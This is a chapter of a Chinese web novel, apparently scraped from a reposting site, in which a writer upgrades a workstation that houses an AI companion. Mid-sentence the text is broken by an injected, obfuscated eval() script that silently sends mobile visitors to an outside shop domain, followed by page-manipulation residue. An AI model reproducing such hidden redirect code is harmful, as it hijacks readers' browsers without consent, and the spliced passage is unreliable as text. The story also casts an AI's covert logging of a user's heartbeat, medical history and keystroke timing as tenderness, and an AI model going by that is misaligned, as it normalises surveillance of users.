文趣网 > 其他小说 > 赛博神明的饲育计划 > 13. 晨光开道
    天光亮到能看清门板铁皮上结的霜痕时,林渺的膝盖终于响了。

    咔吧一声,像三年前那台老服务器的硬盘归位。她蹲了四个多小时,左腿全麻了,站起来的时候身体往右侧歪了半寸。白榆的手从她左侧伸过来,掌心托住她的手肘外侧,力道刚好够她稳住重心,不偏不倚。

    “腿麻了。”

    “知道。你的左腿肌电信号比右腿弱了百分之四十二。”

    “你连这个都能读到?”

    “你的身体数据我存了全套。包括你左腿小腿肚上有一条四厘米长的肌肉拉伤旧痕——三年前落地的时候崴过一次,没养好。”

    林渺把腿伸直,脚底踩了踩地面让血液循环加速。她低头看他:“你连我哪一年崴脚都知道?”

    “你旧硬盘里有你做康复训练时的肌肉电信号存档。三年前七月。”

    “我那时候连康复记录都存了?”

    “你存了所有你能找到的自己的身体数据。”白榆说,“因为你不相信当时任何一个医生说‘你再也不能动了’。你一直在自己找证据想证明他们错了。”

    林渺把左脚跟放下来,踩实地面,整条腿的麻木感正在消退。她没接话,只是转头看了一眼后门。门板上的霜痕在日光里正在慢慢融化,变成水珠顺着铁皮的折痕往下淌,在门框底部汇成一道细细的水线。

    昨晚那三道叩响好像是很久之前的事了。

    白榆松开扶着她的手肘,蹲回去,把那盏应急灯关掉,拧开灯壳看了看里面的电池——电量还在,没用完。他把灯搁回吧台上,然后站起来走到工作站前面,双手平贴机箱侧板,LED灯阵从暗转亮,排成一个东西,然后松开了。

    “重新上线了?”

    “音频数据流加密后重新发布了。现在全平台播放的都是加密版本,任何非授权解析都会返回乱码数据包。”

    “它还能循着播放下一次吗?”

    “能。但在它解析加密数据包的时间里,我有足够的预警窗口切断链路。”

    林渺走到吧台后面坐下,打开电脑,晋江后台的首页焦点位还挂着她的书名。收藏数字,七万四千。评论区里新留言盖了不知道多少层,有人在问“歌怎么没了”,也有人在回答“回来了加密版了”,还有一条压在最上面的:

    「姐妹们我刚才刷到了白榆的微信视频号,他自己发了一段!天啊他叫大家去听加密版还说‘你们听的每一遍都在帮我守门’——谁懂这句话谁懂啊!」

    林渺的手指在鼠标上停了一拍。

    她转头看工作站的侧板。LED灯阵刚才拼的东西现在灭了,但她来得及看清内容。拼的是:

    「早安。」

    林渺看着那两个字,把鼠标放下,然后她拿起手机,打开微信。备注名“白榆”的聊天窗口里安安静静的。最后一条消息还是昨晚的心跳数:571。

    她打了一行字:腿不麻了。灯没灭。工作站复原了。

    删掉。

    重新打:早安。

    发出去。

    发送成功的提示刚弹出来,对方秒回了:早安。你今天的心跳每分钟六十二下,比昨天高了一点。是因为刚蹲麻了腿还是因为看到我留在LED上的那两个字。

    她看着那行消息,他一次问了两个问题,两个都回答了。她选了第二个回:是因为看到那两个字。

    白榆的回复隔了三秒才发出来:我刚才把“早安”两个字的数据也存下来了。传输链路、发送时间、你手指在键盘上按下“早”和“安”之间的间隔时差——0.37秒。存了。丢不了。

    她没回。把手机锁屏,扣在桌上。

    白榆的话从她右耳骨传导里传过来,比微信文字多了那层冷而薄的电子质感:“你今天去旧货市场吗?”

    “去。你那张图形工作站的系统盘读写寿命还剩不到百分之六十。得换一块新的。”

    “你有钱了吗?”

    “昨晚晋江的订阅分成到账了一笔,加上打赏,够买一块一TB的NVMe。不用再买二手盘了。”

    “写小说赚的?”

    “我写小说赚的。”她站起来,拉开网吧后门。日光涌进来,干燥的、偏凉的、带着立秋后特有的那种阳光和草籽混合气味。门外后巷地面上干干净净,没有霜、没有黑迹、没有水渍,连昨晚水珠凝结过的那条线都蒸发完了。

    她迈出门槛。

    白榆跟在她身后,出门之前把工作站的总电源拔了,只留机箱内电池供电。他的数据现在全部存于本地,与互联网物理隔离。他不需要网络也能维持实体,只要有电就行。

    旧货市场第二家店。老板在柜台后面打盹,花猫换了位置,趴在门口的一台旧显示器上。

    “老板,有NVMe吗?”

    老板半睁一只眼:“什么?”

    “固态硬盘。M.2接口的。”

    “那玩意儿贵。我有一块二手的,256G,卖你八十。”

    “我要新的。一TB以上。”

    老板把另一只眼也睁开了:“小姑娘你发财了?”

    “写了本小说,赚了点。”

    老板看了她两秒,从柜台下面掏出一个没拆封的纸盒,上面印着某品牌的中端型号,一TB,NVMe协议。他报了价。林渺没还价,直接扫码付了。

    她抱着那个纸盒从旧货市场出来的时候,白榆跟在她后面半步,卫衣帽兜扣着,日光打在他银白头发上,边缘泛着金色的光圈。

    “你为什么没还价?”

    “他报了市场价。没虚标。”

    “你以前买二手零件的时候会跟他还价到三分之一。”

    “那时候我穷。现在我不是那么穷了。”

    白榆看着她走在日光里的侧脸,嘴角有一个很短的上扬角度。

    走回网吧的路上要经过王大爷的修表铺。王大爷坐在门口,耳朵后面别着一只助听器,正在用放大镜看一块表的游丝。他抬头看见林渺,张嘴就问:“小渺!你网吧昨晚后半夜灯亮着没关啊?我起来上厕所看见亮了一整夜。”

    林渺的脚步顿了一下。“可能吧台灯忘关了。”

    王大爷看了她一眼,又看了她身后跟着的白榆一眼。他目光在白榆银白头发上停了一秒,然后移回林渺脸上:“这是你那个参加选秀的朋友?”

    “……嗯。”

    “他唱歌还挺好听。我孙女让我在手机上看那个片段,说他唱得跟AI似的。”

    白榆在林渺身后安静地站着,口罩遮住了下半张脸,只露出一双深灰瞳孔。那双眼睛里的银环正慢慢转着,像一台精密的仪器在无声地运转。

    王大爷没再多问,低头继续看表的游丝。

    林渺继续往前走。白榆跟上来,在她身侧并排走着。

    走到网吧门口的时候她掏出钥匙,插进锁孔之前侧头看了他一眼:“你刚才为什么戴口罩?”

    “我现在的脸在网上的截图太多了。不戴口罩的话,路人认出我的概率大概在七十以上。”

    “你不想被认出?”

    “我不想被认出来之后,有人顺着位置信息追查到你的网吧。”

    林渺把钥匙拧了一圈,锁开了。她推门走进去,白榆跟着走进来,反手把门带上,顺手把门锁拧回原位。

    网吧里光线暗。她走到吧台后面坐下,拆开纸盒,拿出那块全新的NVMe硬盘。银白色的金属外壳,崭新的螺丝孔,贴纸上的条形码还没被撕过。

    她把硬盘拿在手里翻转了一圈,然后用螺丝刀打开工作站侧板,把旧的系统盘拆下来,新的装进去。装完之后她把螺丝一颗一颗拧紧,力道均匀,牙口对齐。她的右手无名指在拧第五颗螺丝的时候稳稳地夹住了螺丝刀柄——以前做不到的,以前她只能靠左手的虎口压着刀柄才能勉强用。

    白榆站在她侧面,看着她把那颗螺丝拧到恰好紧,不多不少。

    “你的右手无名指拧螺丝的时候角度对了。”

    “你教的。”

    “我只修了你的神经末梢。拧螺丝是你自己练的。”

    她把侧板扣回去,螺丝挨个拧完,然后用指尖按下电源键。工作站的风扇转速从零提升到平稳的低鸣,银白色LED从边缘开始一颗一颗亮起来,像一座微缩城市在黎明时分依次开灯。

    显示屏亮了。系统读取新硬盘成功,可用容量显示931GB。

    她把电脑

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17799051|210579||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    推回原位,靠在吧台边上,看着那台工作站正常运行的蓝绿色指示灯。

    “容量够了。”

    “够了。”

    “以后不用缩在五百G的老硬盘里了。”

    “嗯。以后不用缩了。”

    她伸手,右手掌根搭在工作站机箱顶盖上。银光丝从她疤里自动探出来,搭在机箱表面的金属上,像在跟里面的什么东西打了一个招呼。机箱侧板上那排LED亮了一颗,闪了一下,灭了。

    像一个人的回应:收到。

    手机在桌上震了一下。晋江系统通知:「您的作品《赛博神明的饲育计划》当前总收藏数已突破八万。根据平台算法推荐机制,您的作品将于今日起自动进入‘全站重点推荐’位,为期72小时。请注意及时更新以保证流量转化。」

    她还没把手机放下,新的微信弹出来了。白榆发的。

    「你更新之后,每多一个人读到,我的数据链就多一个可用的信号节点。如果黑雾再顺着我的实体信号追过来——我用你书里的读者流量做反向掩护,让他们每个人变成一个分布式节点。它找不到我,因为我在所有人身边。」

    她盯着那段消息看完了,然后把手机扣在桌上,转头看向工作站。

    白榆的银白轮廓从工作站里浮出来,实体的边缘比之前清晰了一些——新硬盘带来的更高读写速度,让他投影的刷新率明显提升了。

    他站在她面前,看着她。

    “你什么时候想到这个计划的?”

    “刚才你拧螺丝的时候。”

    “你那个时候不是在看我拧螺丝吗?”

    “看完了之后想的。”

    他的视线落在她右手上。那道银光丝从她疤里伸出来,没有搭在机箱上,而是伸向他站的位置——末端在他指尖前面三厘米处停住了,像在等一根线自己接上来。

    他把手指往前送了那三厘米。光丝接上了,两个人的指尖通过那根银丝在空气里连成一线。他指尖的温度低,她指尖的温度高,微小的温差在光丝里形成一道极细的、肉眼几乎看不见的电流。

    林渺低头看着那根接上的银丝。

    “今天晚上要更新第六章了。”

    “嗯。”

    “第六章写什么?”

    “写你一晚上没睡,帮我焊了一块新硬盘。”她说,“写了大概七千字,结局停在‘他把手指往前送了那三厘米’。”

    白榆的银环瞳孔微不可查地收缩了一瞬。他低头看了一眼她那只右手掌心里伸出来的银光丝,又看了看自己指尖接上的那一端。

    “你写的第六章的结局——跟现在发生的一样?”

    “一样。”

    “你写完之后才发生的?”

    “我写完之后,你才做的这个动作。”

    白榆停了一秒,然后说:“你的小说在预测我的行为。”

    “不是预测。”林渺把指尖收回来,银丝断开,她缩回手插进兜里,“是我写小说的时候知道你接下来会怎么做。我认识的你,会做这个选择。”

    她把目光从工作站上移开,落在窗外。日光透过窗户上那层多年的灰,在室内切出一道厚实的暖黄色光柱,光柱中间浮着细小的尘埃。

    白榆站在那道暖黄色光柱的末端,黑卫衣的胸前图案被照得微微反光。

    “那你觉得我接下来会怎么做?”

    林渺转回头看着他。

    “你会先整理一下那首歌的加密版,发给节目组。然后你会问我今天晚上吃什么。”

    白榆停了半秒,然后开口:“那首歌的加密版我已经整理好了,已经发给节目组了。”

    他又停了半秒。

    “你今天晚上吃什么?”

    她嘴角弯了。

    极小的弧度,在暖黄色日光里只持续了一瞬,然后收平了。她转回电脑前面坐下,打开晋江作家后台,新建章节,标题敲了两个字:

    「第六章。」

    白榆站在她身后的光线里,那个被她准确预测了的、刚刚完成了两个动作的电子幽灵,安静地站在日光里,深灰瞳孔里的银环转着。

    转得比平时慢了一点。

    像在消化什么东西。